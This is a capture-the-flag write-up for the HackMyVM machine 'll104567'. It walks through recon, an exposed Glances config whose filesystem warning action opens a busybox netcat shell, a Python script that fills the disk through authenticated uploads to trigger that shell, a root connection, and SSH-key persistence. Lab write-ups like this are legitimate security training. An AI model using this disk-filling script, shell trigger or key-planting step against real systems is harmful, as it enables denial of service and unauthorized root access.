Skip to content

Files

Latest commit

fd05c60 · Jan 22, 2026

History

History
360 lines (294 loc) · 12.8 KB

File metadata and controls

360 lines (294 loc) · 12.8 KB

ll104567

Executive Summary

Machine Author Category Platform
ll104567 Sublarge Beginner HackMyVM

Summary: ll104567 is a beginner-level Boot2Root machine that demonstrates exploitation of a misconfigured system monitoring service. The attack chain involves discovering an exposed Glances monitoring API, leveraging a filesystem threshold trigger mechanism to spawn a reverse shell, and exploiting poor authentication controls. Initial reconnaissance reveals a session token in HTML comments and a dangerous warning_action configuration in the Glances API. Exploitation is achieved by performing a filesystem stress test to reach the 80% threshold, triggering an automated busybox reverse shell with root privileges. The attack requires no privilege escalation as the spawned shell executes with root context, allowing immediate access to both user and root flags.


Recon

First thing to do is looking for the target's IP:

PS D:\> arp -a
Interface: 192.168.100.1 --- 0x3
  Internet Address      Physical Address      Type
  192.168.100.17        08-00-27-81-b4-6e     dynamic
  192.168.255.255       ff-ff-ff-ff-ff-ff     static
  224.0.0.22            01-00-5e-00-00-16     static
  224.0.0.251           01-00-5e-00-00-fb     static
  224.0.0.252           01-00-5e-00-00-fc     static
  239.255.255.250       01-00-5e-7f-ff-fa     static

Target IP: 192.168.100.17

Do enumeration to know the open ports:

┌──(ouba㉿CLIENT-DESKTOP)-[~]
└─$ nmap -sC -sV 192.168.100.17 -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-21 01:57 WIB
Nmap scan report for 192.168.100.17
Host is up (0.0059s latency).
Not shown: 65529 closed tcp ports (reset)
PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp    open  http        Apache httpd 2.4.62 ((Debian))
|_http-title: \xE5\x90\x8D\xE5\xAD\x97Gay\xE6\x8C\x87\xE6\x95\xB0\xE8\xAE\xA1\xE7\xAE\x97\xE5\x99\xA8
|_http-server-header: Apache/2.4.62 (Debian)
139/tcp   open  netbios-ssn Samba smbd 4
445/tcp   open  netbios-ssn Samba smbd 4
1045/tcp  open  http        Werkzeug httpd 3.1.3 (Python 3.9.2)
|_http-title: 404 Not Found
|_http-server-header: Werkzeug/3.1.3 Python/3.9.2
|_http-cors: GET PUT OPTIONS
61208/tcp open  http        Uvicorn
|_http-server-header: uvicorn
|_http-title: Glances
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb2-time:
|   date: 2026-01-20T18:58:14
|_  start_date: N/A
|_nbstat: NetBIOS name: 104567, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_clock-skew: -1s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 46.79 seconds

Open Ports:

  • Port 22 - SSH (OpenSSH 8.4p1 Debian)
  • Port 80 - HTTP (Apache 2.4.62)
  • Port 139/445 - Samba SMB
  • Port 1045 - Werkzeug HTTP server (Python 3.9.2)
  • Port 61208 - Uvicorn running Glances monitoring service

Web Enumeration

Port 80 Analysis

Accessing the web server on port 80 revealed a Chinese-language web application titled "名字Gay指数计算器" (Name Gay Index Calculator).

Critical Finding: Examining the HTML source code revealed a session token hidden in the comments:

<!-- xixilake-session-secure-2025 -->

This session token would prove essential for the exploitation phase.

Port 61208 - Glances Monitoring Service

Navigating to http://192.168.100.17:61208/ displayed a Glances system monitoring dashboard showing real-time system statistics including CPU usage (10.1%), memory usage (25.7%), and various system processes.

More importantly, accessing the API documentation at http://192.168.100.17:61208/docs#/ exposed several endpoints, including the critical configuration endpoint.

Vulnerability Discovery

Glances Configuration Exposure

The endpoint http://192.168.100.17:61208/api/4/config revealed the complete Glances configuration with a critical vulnerability:

{
  "fs": {
    "warning": "80",
    "warning_action": "busybox nc -lp 4567 -e /bin/bash",
    "careful": "50",
    "critical": "90"
  },
  "global": {
    "strftime_format": "",
    "check_update": "true"
  },
  "quicklook": {
    "cpu_careful": "50",
    "cpu_warning": "70",
    "cpu_critical": "90",
    "mem_careful": "50",
    "mem_warning": "70",
    "mem_critical": "90",
    "swap_careful": "50",
    "swap_warning": "70",
    "swap_critical": "90"
  },
  "cpu": {
    "user_careful": "50",
    "user_warning": "70",
    "user_critical": "90",
    "system_careful": "50",
    "system_warning": "70",
    "system_critical": "90",
    "steal_careful": "50",
    "steal_warning": "70",
    "steal_critical": "90",
    "iowait_careful": "80.0",
    "iowait_warning": "90.0",
    "iowait_critical": "100.0",
    "ctx_switches_careful": "40000.0",
    "ctx_switches_warning": "45000.0",
    "ctx_switches_critical": "50000.0"
  },
  "load": {
    "careful": "0.7",
    "warning": "1.0",
    "critical": "5.0"
  },
  "mem": {
    "careful": "50",
    "warning": "70",
    "critical": "90"
  },
  "sensors": {
    "temperature_hdd_careful": "45",
    "temperature_hdd_warning": "52",
    "temperature_hdd_critical": "60",
    "battery_careful": "70",
    "battery_warning": "80",
    "battery_critical": "90"
  }
}

Critical Vulnerability Identified:

The fs (filesystem) section contains a warning_action parameter with the following command:

busybox nc -lp 4567 -e /bin/bash

This configuration automatically spawns a reverse shell on port 4567 when the filesystem usage reaches 80%. The shell would execute with the same privileges as the Glances service (root).

Important Note: This trigger only executes once when crossing the threshold, making timing critical for successful exploitation.

Init Access

Exploitation Strategy

The attack plan consisted of three phases:

  1. Filesystem Stress Test - Upload files to fill the filesystem to 80% capacity
  2. Reverse Shell Connection - Connect to the automatically spawned shell on port 4567
  3. Persistent Access - Establish SSH access using public key authentication

Phase 1: Filesystem Stress Test

Created exploitation tools:

┌──(root㉿CLIENT-DESKTOP)-[/home/ouba/ll104567]
└─# ls -la
total 1036
drwxr-xr-x  2 ouba ouba    4096 Jan 21 02:59 .
drwxr-xr-x 41 ouba ouba    4096 Jan 21 02:07 ..
-rw-r--r--  1 ouba ouba 1048576 Dec 31 00:12 1MB.bin
-rw-r--r--  1 ouba ouba    2459 Jan 21 02:47 stress.py

1MB.bin - A 1 megabyte binary file used as the upload payload

stress.py - An asynchronous Python script designed to rapidly fill the filesystem:

import asyncio
import aiohttp
from time import time

async def upload_chunk(session, chunk_data, file_num, chunk_num):
    try:
        async with session.put(
            f'http://192.168.100.17:1045/api/files/{file_num}_{chunk_num}.bin',
            headers={'X-Session-Token': 'xixilake-session-secure-2025'},
            data=chunk_data
        ) as response:
            # Don't wait for response body if you don't need it
            await response.read()
            return response.status
    except Exception as e:
        print(f"Error uploading file {file_num}, chunk {chunk_num}: {e}")
        return None

async def stress_test(total_gb, chunk_size_mb, concurrent_uploads):
    # Read chunk once
    with open("1MB.bin", "rb") as f:
        chunk_data = f.read()
    
    total_chunks = (total_gb * 1024) // chunk_size_mb
    start_time = time()
    
    # Optimize connection settings
    connector = aiohttp.TCPConnector(
        limit=concurrent_uploads,  # Connection pool limit
        ttl_dns_cache=300,         # DNS cache
        force_close=False,         # Reuse connections
        enable_cleanup_closed=True
    )
    
    timeout = aiohttp.ClientTimeout(total=60, connect=10)
    
    async with aiohttp.ClientSession(
        connector=connector,
        timeout=timeout
    ) as session:
        # Create all tasks upfront
        tasks = [
            upload_chunk(session, chunk_data, i // concurrent_uploads, i % concurrent_uploads)
            for i in range(total_chunks)
        ]
        
        # Process in batches with progress reporting
        completed = 0
        for i in range(0, len(tasks), concurrent_uploads):
            batch = tasks[i:i + concurrent_uploads]
            await asyncio.gather(*batch)
            completed += len(batch)
            elapsed = time() - start_time
            speed = (completed * chunk_size_mb / 1024) / elapsed if elapsed > 0 else 0
            print(f"Progress: {completed}/{total_chunks} chunks ({speed:.2f} GB/s)")
    
    elapsed = time() - start_time
    total_gb_actual = total_chunks * chunk_size_mb / 1024
    avg_speed = total_gb_actual / elapsed if elapsed > 0 else 0
    
    print("\nStress test complete:")
    print(f"  Total: {total_gb_actual:.2f} GB")
    print(f"  Time: {elapsed:.2f}s")
    print(f"  Avg Speed: {avg_speed:.2f} GB/s")

if __name__ == "__main__":
    asyncio.run(stress_test(total_gb=21, chunk_size_mb=1, concurrent_uploads=50))

Script Features:

  • Uses asynchronous I/O with aiohttp for maximum upload throughput
  • Leverages the discovered session token (xixilake-session-secure-2025) in request headers
  • Uploads 1MB chunks with 50 concurrent connections
  • Targets the Werkzeug server on port 1045
  • Provides real-time progress monitoring with upload speed metrics
  • Optimizes TCP connections with connection pooling and DNS caching

Executing the Attack

After initial testing with smaller payloads, executed the final stress test:

┌──(root㉿CLIENT-DESKTOP)-[/home/ouba/ll104567]
└─# python3 stress.py
Progress: 50/20480 chunks (0.02 GB/s)
Progress: 100/20480 chunks (0.02 GB/s)
Progress: 150/20480 chunks (0.02 GB/s)
[... output truncated ...]
Progress: 20400/20480 chunks (0.02 GB/s)
Progress: 20450/20480 chunks (0.02 GB/s)
Progress: 21480/20480 chunks (0.02 GB/s)

Stress test complete:
  Total: 21.00 GB
  Time: 1467.27s
  Avg Speed: 0.02 GB/s

The script successfully uploaded approximately 21GB of data at an average speed of 0.02 GB/s, pushing the filesystem usage past the critical 80% threshold.

Phase 2: Obtaining Initial Access

Immediately after the filesystem reached 80% capacity, connected to the automatically spawned reverse shell:

┌──(root㉿CLIENT-DESKTOP)-[/home/ouba/ll104567]
└─# nc 192.168.100.17 4567
id
uid=0(root) gid=0(root) groups=0(root)
pwd
/root

Success! The connection returned with root privileges, as the Glances service was running with root permissions.

Phase 3: Establishing Persistent Access

To maintain access beyond the temporary reverse shell, added an SSH public key to root's authorized_keys:

cd .ssh
pwd
/root/.ssh
/usr/bin/script -qc /bin/bash /dev/null
root@104567:~/.ssh# echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCrnUYiLDYzHmIOIrbYFnPPMr5gmZogLR4fVdcokkNOB0mmO2HfC4YZ3eqLgiraImtqXTMOJ3S1lGBEiKFS3utId5Q1IEbsz3Qaznoj7z704d6BrvHrvI2L0fshcSYNo9hu63gcWstR+i++ORzZv95lw8GOLrkex3/Xv8REArMotYntP03wbGWpaKeQIzKsLP9jiIlvYMd2wpgejAtcVHWlYNyO4AfF1O/RHZKoad6KsmXkv38w/Yf5btk+iDUATYG+a+IupTlUfMBD9iyKKOXqUIyZvndbN9M9qiFk1ZHotn4ZsprE1B8toY9GPU2qbpJTKz4xtfstQlm6tNrkp6UiW1ywcVSHbL7pN3/BpBb9ND7wnZnAsKRadRgwmVO3889RJgyQ/Xp9lCe3Ajm4GPYCZrqD+PnUgNMtaOd8wxsCqDs9s0Xhwp0a5qBPtLjaasIsA42U5zjVfiqL19RdXalmN3UdYMY/6KF3/6Qd6Zsca5b3gOwPimESledYnPE+jrM= root@CLIENT-DESKTOP' > ./authorized_keys

Verified persistent SSH access and retrieved the flag:

┌──(root㉿CLIENT-DESKTOP)-[/home/ouba/ll104567]
└─# ssh -i ~/.ssh/id_rsa root@192.168.100.17
The authenticity of host '192.168.100.17 (192.168.100.17)' can't be established.
ED25519 key fingerprint is SHA256:O2iH79i8PgOwV/Kp8ekTYyGMG8iHT+YlWuYC85SbWSQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.100.17' (ED25519) to the list of known hosts.
Linux 104567 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@104567:~# whoami
root
root@104567:~# id
uid=0(root) gid=0(root) groups=0(root)
root@104567:~# cat root.txt /home/ll/user.txt
flag{root-[REDACTED]}
flag{user-{REDACTED}}

Resource Help